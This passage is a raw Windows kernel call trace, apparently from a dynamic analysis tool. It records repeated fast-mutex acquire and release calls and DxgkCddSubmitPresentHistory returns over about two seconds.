[0149.215] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0149.215] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0149.215] DxgkCddSubmitPresentHistory () returned 0x0 [0149.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.222] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.222] DxgkCddSubmitPresentHistory () returned 0x0 [0149.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.254] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.254] DxgkCddSubmitPresentHistory () returned 0x0 [0149.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.292] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.292] DxgkCddSubmitPresentHistory () returned 0x0 [0149.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.300] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.301] DxgkCddSubmitPresentHistory () returned 0x0 [0149.339] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.340] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.340] DxgkCddSubmitPresentHistory () returned 0x0 [0149.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.363] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.363] DxgkCddSubmitPresentHistory () returned 0x0 [0149.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.412] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.412] DxgkCddSubmitPresentHistory () returned 0x0 [0149.434] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.434] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.434] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.434] DxgkCddSubmitPresentHistory () returned 0x0 [0149.449] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.449] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.449] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.449] DxgkCddSubmitPresentHistory () returned 0x0 [0149.465] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.465] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.465] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.465] DxgkCddSubmitPresentHistory () returned 0x0 [0149.481] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.481] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.481] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.481] DxgkCddSubmitPresentHistory () returned 0x0 [0149.497] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.497] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.497] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.497] DxgkCddSubmitPresentHistory () returned 0x0 [0149.513] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.513] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.513] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.513] DxgkCddSubmitPresentHistory () returned 0x0 [0149.529] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.529] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.529] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.529] DxgkCddSubmitPresentHistory () returned 0x0 [0149.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.561] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.561] DxgkCddSubmitPresentHistory () returned 0x0 [0149.593] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.593] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.593] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.593] DxgkCddSubmitPresentHistory () returned 0x0 [0149.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.633] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.633] DxgkCddSubmitPresentHistory () returned 0x0 [0149.649] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.649] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0149.649] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0149.649] DxgkCddSubmitPresentHistory () returned 0x0 [0150.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.626] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0150.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.626] DxgkCddSubmitPresentHistory () returned 0x0 [0150.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.626] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0150.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0150.626] DxgkCddSubmitPresentHistory () returned 0x0 [0150.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.626] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0150.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.626] DxgkCddSubmitPresentHistory () returned 0x0 [0150.642] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.642] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0150.642] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.642] DxgkCddSubmitPresentHistory () returned 0x0 [0150.658] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.658] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0150.658] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.658] DxgkCddSubmitPresentHistory () returned 0x0 [0150.658] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.658] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0150.658] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.659] DxgkCddSubmitPresentHistory () returned 0x0 [0150.689] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.689] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0150.689] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.689] DxgkCddSubmitPresentHistory () returned 0x0 [0150.704] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.704] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0150.704] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.704] DxgkCddSubmitPresentHistory () returned 0x0 [0150.705] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.705] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0150.705] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.705] DxgkCddSubmitPresentHistory () returned 0x0 [0150.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.720] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0150.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.720] DxgkCddSubmitPresentHistory () returned 0x0 [0150.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.720] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0150.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.721] DxgkCddSubmitPresentHistory () returned 0x0 [0150.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.758] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0150.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.758] DxgkCddSubmitPresentHistory () returned 0x0 [0150.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.774] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0150.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.774] DxgkCddSubmitPresentHistory () returned 0x0 [0150.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.774] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0150.775] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.775] DxgkCddSubmitPresentHistory () returned 0x0 [0150.790] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.790] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0150.790] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0150.790] DxgkCddSubmitPresentHistory () returned 0x0 [0150.883] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.883] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0150.883] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.883] DxgkCddSubmitPresentHistory () returned 0x0 [0150.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.923] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0150.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.923] DxgkCddSubmitPresentHistory () returned 0x0 [0150.954] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.954] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0150.954] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.954] DxgkCddSubmitPresentHistory () returned 0x0 [0151.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.020] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.020] DxgkCddSubmitPresentHistory () returned 0x0 [0151.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.020] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000fbb920) [0151.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.020] DxgkCddSubmitPresentHistory () returned 0x0 [0151.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.020] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0151.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.020] DxgkCddSubmitPresentHistory () returned 0x0 [0151.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.067] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.067] DxgkCddSubmitPresentHistory () returned 0x0 [0151.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.096] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0151.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.096] DxgkCddSubmitPresentHistory () returned 0x0 [0151.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.096] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.096] DxgkCddSubmitPresentHistory () returned 0x0 [0151.110] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.110] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.110] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.110] DxgkCddSubmitPresentHistory () returned 0x0 [0151.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.126] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.126] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.126] DxgkCddSubmitPresentHistory () returned 0x0 [0151.158] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.158] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0151.158] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.158] DxgkCddSubmitPresentHistory () returned 0x0 [0151.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.159] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.159] DxgkCddSubmitPresentHistory () returned 0x0 [0151.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.190] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.190] DxgkCddSubmitPresentHistory () returned 0x0 [0151.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.204] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0151.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.204] DxgkCddSubmitPresentHistory () returned 0x0 [0151.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.204] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.204] DxgkCddSubmitPresentHistory () returned 0x0 [0151.219] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.219] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.219] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.219] DxgkCddSubmitPresentHistory () returned 0x0 [0151.252] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.253] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.253] DxgkCddSubmitPresentHistory () returned 0x0 [0151.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.253] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000fbb920) [0151.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.253] DxgkCddSubmitPresentHistory () returned 0x0 [0151.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.284] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0151.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.284] DxgkCddSubmitPresentHistory () returned 0x0 [0151.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.284] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.284] DxgkCddSubmitPresentHistory () returned 0x0 [0151.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.315] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000fbb920) [0151.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.315] DxgkCddSubmitPresentHistory () returned 0x0 [0151.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.315] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.315] DxgkCddSubmitPresentHistory () returned 0x0 [0151.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.329] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0151.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.329] DxgkCddSubmitPresentHistory () returned 0x0 [0151.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.329] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.329] DxgkCddSubmitPresentHistory () returned 0x0 [0151.360] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.360] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000fbb920) [0151.360] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.360] DxgkCddSubmitPresentHistory () returned 0x0 [0151.360] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.360] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.360] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.360] DxgkCddSubmitPresentHistory () returned 0x0 [0151.391] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.391] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0151.391] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.392] DxgkCddSubmitPresentHistory () returned 0x0 [0151.392] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.392] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.392] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.392] DxgkCddSubmitPresentHistory () returned 0x0 [0151.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.409] DxgkCddSubmitPresentHistory () returned 0x0 [0151.438] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.438] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000fbb920) [0151.438] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000fbb920) [0151.438] DxgkCddSubmitPresentHistory () returned 0x0 [0151.438] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.438] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.438] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.438] DxgkCddSubmitPresentHistory () returned 0x0 [0151.478] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.478] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0151.478] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.478] DxgkCddSubmitPresentHistory () returned 0x0 [0151.478] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.478] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.478] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.478] DxgkCddSubmitPresentHistory () returned 0x0 [0151.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.489] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011afab0) [0151.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.489] DxgkCddSubmitPresentHistory () returned 0x0 [0151.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.489] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0151.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.490] DxgkCddSubmitPresentHistory () returned 0x0 [0151.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.504] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.504] DxgkCddSubmitPresentHistory () returned 0x0 [0151.532] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.532] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0151.532] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.532] DxgkCddSubmitPresentHistory () returned 0x0 [0151.532] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.532] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011afab0) [0151.532] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.532] DxgkCddSubmitPresentHistory () returned 0x0 [0151.547] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.547] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.547] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.547] DxgkCddSubmitPresentHistory () returned 0x0 [0151.583] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.583] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.583] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.583] DxgkCddSubmitPresentHistory () returned 0x0 [0151.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.612] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011afab0) [0151.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.612] DxgkCddSubmitPresentHistory () returned 0x0 [0151.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.612] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0151.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.612] DxgkCddSubmitPresentHistory () returned 0x0 [0151.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.612] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.612] DxgkCddSubmitPresentHistory () returned 0x0 [0151.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.627] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.627] DxgkCddSubmitPresentHistory () returned 0x0 [0151.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.660] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011afab0) [0151.660] 